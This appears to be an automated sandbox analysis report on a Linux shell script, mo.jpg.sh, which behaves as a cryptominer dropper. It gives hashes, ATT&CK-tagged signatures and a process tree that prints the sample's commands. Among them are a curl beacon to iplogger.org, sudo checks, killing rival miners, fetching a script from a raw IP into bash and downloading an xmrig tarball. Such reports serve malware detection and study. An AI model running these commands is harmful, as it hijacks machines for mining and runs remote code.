3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f

Resubmissions

21/06/2026, 18:07

260621-wp9vcaft6t10

17/08/2020, 10:59

200817-hb7hcxsyc21

Analysis

max time kernel
24s
max time network
26s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21/06/2026, 18:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mo.jpg.sh
Size 16KB
Sample260621-wp9vcaft6t
SHA256 3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f
MD5 0547bc34c789786ea74bf0435338431b
SHA1 709cc9fe23427e3e81488eb0f360579586be84fb
SHA512 8ce6b80e02b0519bb29dc1e34393319a6efa85ab818ea64c44346be49292d21a3c0fdd63ae515d8e5e88e5429b85211a2b58b5b4993655bfb8d378f79ac195df
SSDEEP 384:6oVbK15HWv4nOqFLiPFUvx7FR8bqS0pij:6abK15HWv4nGPF08bqS0pij
TLSH
T1BA72B7E5F870DAB0702CC0B8713EA1656ACB5C2F12953D74B087BC355949E8C72BDE6A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm defense_evasion discovery privilege_escalation

Malware Config

Signatures

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
814	sudo
819	sudo

Checks system information (zLinux) 1 TTPs 1 IoCs

Check system information on IBM zSystems which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/sysinfo	lscpu

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	iplogger.org
2	iplogger.org

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	lscpu

Reads CPU attributes 1 TTPs 11 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	lscpu
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/present	lscpu
File opened for reading	/sys/devices/system/cpu/online	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/thread_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	lscpu
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/kernel_max	lscpu

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/firmware/efi/systab	lscpu
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/devices/system/node	lscpu

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/66/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/359/cmdline	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/823/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/111/cmdline	pkill
File opened for reading	/proc/678/status	pkill
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/127/stat	killall
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/713/status	pkill
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/717/stat	killall
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/111/status	pkill
File opened for reading	/proc/827/status	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/389/status	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/711/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/157/stat	killall
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/713/cmdline	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/66/stat	killall
File opened for reading	/proc/704/cmdline	killall
File opened for reading	/proc/715/stat	killall
File opened for reading	/proc/704/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/705/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/248/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/128/status	pkill
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/334/cmdline	pkill
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/84/stat	killall

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.lszdG8	apt
File opened for modification	/tmp/fileutl.message.BMJfPX	apt
File opened for modification	/tmp/fileutl.message.DXSlK0	apt
File opened for modification	/tmp/fileutl.message.UNvYQa	apt

/tmp/mo.jpg.sh
/tmp/mo.jpg.sh
1⤵
PID:717
- /bin/uname
  uname -a
  2⤵
  PID:726
- /usr/bin/curl
  curl -s -k https://iplogger.org/1Nuxp7 --user-agent TNTcurl --referer "Linux debian9-mipsel-20260513-en-4 4.9.0-13-4kc-malta #1 Debian 4.9.228-1 (2020-07-05) mips GNU/Linux" -o /dev/null
  2⤵
  PID:727
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:746
- /bin/mkdir
  mkdir /usr/share -p
  2⤵
  PID:747
- /usr/bin/cut
  cut -f1 -d.
  2⤵
  PID:750
- /usr/bin/lscpu
  lscpu
  2⤵
  - Checks system information (zLinux)
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  PID:751
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:755
- /bin/grep
  grep "^Socket(s):"
  2⤵
  PID:754
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:756
- /bin/grep
  grep "^Core(s) per socket:"
  2⤵
  PID:760
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:761
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  - Reads runtime system information
  PID:762
- /bin/grep
  grep "^CPU(s):"
  2⤵
  PID:765
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:766
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:767
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:771
- /bin/grep
  grep "^CPU MHz:"
  2⤵
  PID:770
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:772
- /bin/grep
  grep "^L1d"
  2⤵
  PID:775
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  - Reads runtime system information
  PID:778
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:777
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:776
- /bin/grep
  grep MiB
  2⤵
  PID:780
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:784
- /bin/grep
  grep "^L2"
  2⤵
  PID:783
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  - Reads runtime system information
  PID:785
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  PID:786
- /bin/grep
  grep MiB
  2⤵
  PID:788
- /bin/grep
  grep "^L3"
  2⤵
  PID:791
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:792
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:793
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  PID:794
- /bin/grep
  grep MiB
  2⤵
  PID:796
- /usr/bin/apt
  apt install -y bc
  2⤵
  - Writes file to tmp directory
  PID:798
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:799
- /bin/sleep
  sleep 2
  2⤵
  PID:801
- /usr/bin/sudo
  sudo -n true
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:814
- - /bin/true
    true
    3⤵
    PID:818
- /usr/bin/sudo
  sudo systemctl stop crypto.service
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:819
- - /bin/systemctl
    systemctl stop crypto.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:822
- /usr/bin/killall
  killall -9 xmrig
  2⤵
  - Reads runtime system information
  PID:824
- /bin/rm
  rm -f /usr/bin/docker-update
  2⤵
  PID:826
- /usr/bin/pkill
  pkill -f /usr/bin/docker-update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:828
- /usr/bin/killall
  killall -9 docker-update
  2⤵
  - Reads runtime system information
  PID:829
- /bin/rm
  rm -f /usr/bin/redis-backup
  2⤵
  PID:831
- /usr/bin/pkill
  pkill -f /usr/bin/redis-backup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:833
- /usr/bin/killall
  killall -9 redis-backup
  2⤵
  - Reads runtime system information
  PID:834
- /bin/rm
  rm -f /tmp/moneroocean/xmrig
  2⤵
  PID:837
- /usr/bin/pkill
  pkill -f /tmp/moneroocean/xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:838
- /bin/rm
  rm -fr /tmp/moneroocean/
  2⤵
  PID:840
- /usr/bin/killall
  killall -9 xmrig
  2⤵
  - Reads runtime system information
  PID:841
- /bin/bash
  bash
  2⤵
  PID:845
- /usr/bin/curl
  curl http://129.211.98.236/ps/clean.jpg
  2⤵
  PID:844
- /usr/bin/curl
  curl -L --progress-bar http://129.211.98.236/xmr/mo/mod.jpg -o /tmp/xmrig.tar.gz
  2⤵
  PID:885